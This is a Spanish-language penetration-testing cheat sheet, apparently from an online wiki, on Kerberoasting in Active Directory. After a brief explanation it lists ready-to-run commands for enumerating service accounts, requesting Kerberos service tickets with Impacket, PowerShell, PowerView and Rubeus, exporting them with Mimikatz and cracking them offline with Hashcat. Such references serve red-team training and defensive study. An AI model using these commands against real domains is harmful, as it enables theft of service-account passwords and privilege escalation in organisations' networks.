Kerberoast
Descripción
Este ataque tiene como objetivo las cuentas Service Principal Names (SPN). Los SPN son identificadores únicos que utiliza Kerberos para asignar una instancia de servicio a una cuenta de servicio en cuyo contexto se ejecuta el servicio. Cualquier usuario de dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio en el dominio. También es posible entre bosque (forest) si se permite la autenticación a través de las relaciones de confianza.
Para realizar un ataque de Kerberoast se necesita la contraseña de una cuenta de usuario de dominio (o hash NTLM), una shell en el contexto de una cuenta de usuario de dominio o acceso con privilegios de NT AUTHORITY\SYSTEM a un host unido al dominio.
La obtención de un Ticket Granting Service (TGS) para una cuenta con un SPN no permite ejecutar comandos en el contexto de esta cuenta. Sin embargo, el ticket está encriptado con el hash NTLM de la cuenta de servicio, por lo que la contraseña sin cifrar se puede obtenerse potencialmente sometiéndola a un ataque de fuerza bruta (offline) con una herramienta como Hashcat. Las cuentas de dominio que ejecutan servicios suelen ser administradores locales o cuentas de dominio con altos privilegios.
Linux/Unix
Impacket
Obtener cuentas Service Principal Names (SPN).
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user>
Obtener Ticket Granting Service (TGS).
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request -outputfile tgs.txt
Obtener Ticket Granting Service (TGS) de una cuenta.
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN>
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN> -outputfile tgs-user.txt
Hashcat
Cracking de Ticket Granting Service (TGS).
RC4
# $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
hashcat -m 13100 tgs.txt --show
AES-128
# $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
hashcat -m 19600 tgs.txt --show
AES-256
# $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>
hashcat -m 19700 tgs.txt --show
Windows
Método manual
Obtener cuentas Service Principal Names (SPN).
setspn.exe -Q */*
Obtener Ticket Granting Service (TGS) y cargar en memoria.
# Obtener Ticket Granting Service (TGS) de una cuenta
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"
# Obtener Ticket Granting Service (TGS) de todas las cuentas
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T <ACME.LOCAL> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Extraer Ticket Granting Service (TGS) desde memoria con Mimikatz.
.\mimikatz.exe
base64 /out:true
kerberos::list /export
Preparación de Ticket Granting Service (TGS) para cracking.
echo "<base64>" | tr -d \\n | base64 -d > tgs-user.kirbi
kirbi2john tgs-user.kirbi
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' tgs-user.kirbi > tgs-user-hashcat.txt
Módulo ActiveDirectory PowerShell
Obtener cuentas Service Principal Names (SPN).
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Obtener Ticket Granting Service (TGS) de una cuenta.
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"
klist
Exportar todos los Ticket Granting Service (TGS) con Invoke-Mimikatz.
Invoke-Mimikatz -Command '"kerberos::list /export"'
Cracking de Ticket Granting Service (TGS).
python.exe .\tgsrepcrack.py .\<path-wordlist> .\<tgs.kirbi>
PowerView
Obtener cuentas Service Principal Names (SPN).
Get-DomainUser * -SPN | select SamAccountName
Obtener Ticket Granting Service (TGS) de una cuenta.
Get-DomainUser -Identity <user-SPN> | Get-DomainSPNTicket -Format Hashcat
Obtener Ticket Granting Service (TGS) de todas las cuentas y guardar en archivo.
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation
Rubeus
Obtener estadísticas de usuarios.
.\Rubeus.exe kerberoast /stats
Obtener Ticket Granting Service (TGS).
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
Obtener Ticket Granting Service (TGS) de una cuenta.
.\Rubeus.exe kerberoast /user:<user> /nowrap
Obtener Ticket Granting Service (TGS) con cifrado RC4 para una cuenta.
.\Rubeus.exe kerberoast /tgtdeleg /user:<user> /nowrap
Última actualización
¿Te fue útil?